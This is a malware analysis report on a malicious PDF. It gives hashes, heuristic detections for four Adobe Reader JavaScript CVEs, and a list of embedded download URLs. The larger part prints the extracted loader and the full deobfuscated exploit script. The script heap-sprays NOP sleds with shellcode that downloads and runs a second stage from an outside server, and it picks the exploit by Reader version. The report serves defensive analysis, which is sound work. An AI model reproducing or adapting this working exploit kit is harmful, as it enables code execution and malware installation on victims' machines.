Malicious PDF — malware analysis report

Static analysis result for SHA-256 98397d5e304865aa…

MALICIOUS

PDF

4.7 KB First seen: 2012-07-12
MD5: 9ce69c70a20183ff2d88f72bc2e72a12 SHA-1: eb9a84d3f3d850a5c9701591632ec571dc440c85 SHA-256: 98397d5e304865aa21baec8a50242c58c493e0c63994dedde98139fbfb55c1c9
450 Risk Score

Malware Insights

The PDF contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a javascript object. The ML classifier strongly suggests malicious intent. The embedded JavaScript is likely designed to execute malicious code upon opening the PDF, although the specific payload could not be determined from the provided evidence.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://like-server3.cz.cc/load.php?sploit=PDF_newPlayer Referenced by PDF JavaScript
    • http://like-server3.cz.cc/load.php?sploit=PDF_printfReferenced by PDF JavaScript
    • http://like-server3.cz.cc/load.php?sploit=PDF_GetIconReferenced by PDF JavaScript
    • http://like-server3.cz.cc/load.php?sploit=PDF_CollabReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0012_000.js pdf-javascript-stream PDF /JS object 12 at offset 0xFE5 93 bytes
SHA-256: 61b46047f90b888a00e497def64b956f6da2cb6e69e8905a21e0ba446aa10cd0
Preview script
First 1,000 lines of the extracted script
m1=this.info.gkds;m2=m1.replace(/zzzzz/g,"");m3=this.info.gggsd+"al";        app[m3](m2);
info_stride_js_000.js deobfuscated-js PDF /Info fields via stride 6 4860 bytes
SHA-256: 12eb6a60e7b6029e2e6074030dec569488e12d640011be16c695e52a7c263ef2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 12 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function shcode(WkZr4)
{

br1 = "%u9090%u9090%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
return br1+WkZr4;
}

function SFc5Nd() {
function Z7FVi()
{
var VeAOF7="p@111111111111111111111111 : yyyy111";
util.printd(VeAOF7, new Date());
}

var jJv=12000;
sbw2J=new Array();
var yEX = "%u9090%u9090";
var V4Klrn=shcode("%u7468%u7074%u2F3A%u6C2F%u6B69%u2D65%u6573%u7672%u7265%u2E33%u7A63%u632E%u2F63%u6F6C%u6461%u702E%u7068%u733F%u6C70%u696F%u3D74%u4450%u5F46%u656E%u5077%u616C%u6579%u0072");
yEX=unescape(yEX);
V4Klrn=unescape(V4Klrn);

while(yEX.length <= 0x8000){yEX+=yEX;}
yEX=yEX.substr(0,0x8000 - V4Klrn.length);
for(qvGk=0;qvGk<jJv;qvGk++) {sbw2J[qvGk]=yEX + V4Klrn;}
if(jJv){Z7FVi();Z7FVi();try {this.media.newPlayer(null);} catch(e) {}Z7FVi();}
}

function VFhjxW() {

var jOSd=unescape(shcode("%u7468%u7074%u2F3A%u6C2F%u6B69%u2D65%u6573%u7672%u7265%u2E33%u7A63%u632E%u2F63%u6F6C%u6461%u702E%u7068%u733F%u6C70%u696F%u3D74%u4450%u5F46%u7270%u6E69%u6674"));

var uMuV ="";
for (Y91vU=128;Y91vU>=0;--Y91vU) uMuV += unescape("%u9090%u9090%u9090%u9090%u9090");
yOh2l = uMuV + jOSd;
nQsAdx = unescape("%u9090%u9090");
hgT3QI = 20;
v3FEVt = hgT3QI+yOh2l.length;
while (nQsAdx.length<v3FEVt) nQsAdx+=nQsAdx;
lBO0Hn = nQsAdx.substring(0, v3FEVt);
WFoH0S = nQsAdx.substring(0, nQsAdx.length-v3FEVt);
while(WFoH0S.length+v3FEVt < 0x40000) WFoH0S = WFoH0S+WFoH0S+lBO0Hn;
hNv = new Array();
for (i=0;i<1400;i++) hNv[i] = WFoH0S + yOh2l;

var CJL = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888
util.printf("%45000f",CJL);
}

function Brtg() {

var bJs=unescape(shcode("%u7468%u7074%u2F3A%u6C2F%u6B69%u2D65%u6573%u7672%u7265%u2E33%u7A63%u632E%u2F63%u6F6C%u6461%u702E%u7068%u733F%u6C70%u696F%u3D74%u4450%u5F46%u6547%u4974%u6F63%u006E"));

UxQnU = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090") + bJs;
bYjLQ = unescape("%u9090%u9090"); 
hgT3QI = 10;
zXAF2 = hgT3QI+UxQnU.length;

while (bYjLQ.length<zXAF2) bYjLQ+=bYjLQ;
lBO0Hn = bYjLQ.substring(0, zXAF2);
lEW = bYjLQ.substring(0, bYjLQ.length-zXAF2);
while(lEW.length+zXAF2<0x40000) lEW = lEW+lEW+lBO0Hn;
k8HMT = new Array();
for (i=0;i<180;i++) k8HMT[i] = lEW + UxQnU;
var iEONGo = 4012;
var DKC6aD = Array(iEONGo);
for (i=0; i<iEONGo; i++)
{
DKC6aD[i] = unescape("%0a%0a%0a%0a");
}

Collab.getIcon(DKC6aD+"_N.bundle");
}

function rqx() {

function I40(xzC4Ei,yUC) {
while(xzC4Ei.length*2<yUC) { xzC4Ei+=xzC4Ei; }
xzC4Ei=xzC4Ei.substring(0,yUC/2);
return xzC4Ei; }
var GLQDVo=unescape(shcode("%u7468%u7074%u2F3A%u6C2F%u6B69%u2D65%u6573%u7672%u7265%u2E33%u7A63%u632E%u2F63%u6F6C%u6461%u702E%u7068%u733F%u6C70%u696F%u3D74%u4450%u5F46%u6F43%u6C6C%u6261"));
var ZpS=new Array();
var qXnl51=0x0c0c0c0c;
var LAc=0x400000;
var gfS6=GLQDVo.length*2;
var yUC=LAc-(gfS6+0x38);
var xzC4Ei=unescape("%u9090%u9090");
xzC4Ei=I40(xzC4Ei,yUC);
var IZoaM=(qXnl51-0x400000)/LAc;
for(var rZg=0;rZg<IZoaM;rZg++) {ZpS[rZg]=xzC4Ei+GLQDVo; }
var cpfAJ=unescape("%u0c0c%u0c0c");
while(cpfAJ.length<44952) {cpfAJ+=cpfAJ; }
this.collabStore=Collab.collectEmailInfo( { subj:"",msg:cpfAJ } ); 

}

aPlugins = app.plugIns;
var G8Im8=parseInt(app.viewerVersion.toString().charAt(0));
for (var MHj=0; MHj < aPlugins.length; MHj++)
  {
    if (aPlugins[MHj].name=="EScript")
      {
        var PPhj3=aPlugins[MHj].version;
      }
  }  
if ((PPhj3==9)||((G8Im8==8)&&(PPhj3<=8.12)))
  {
    Brtg();
  }
else if (PPhj3==7.1)
  {
    VFhjxW();
  }
else if (((G8Im8==6)||(G8Im8==7))&&(PPhj3<7.11))
  {
    rqx();
  }
else if ((PPhj3 >= 9.1) || (PPhj3 <= 9.2) || (PPhj3 >= 8.13) || (PPhj3 <= 8.17))
  {
        SFc5Nd();
  }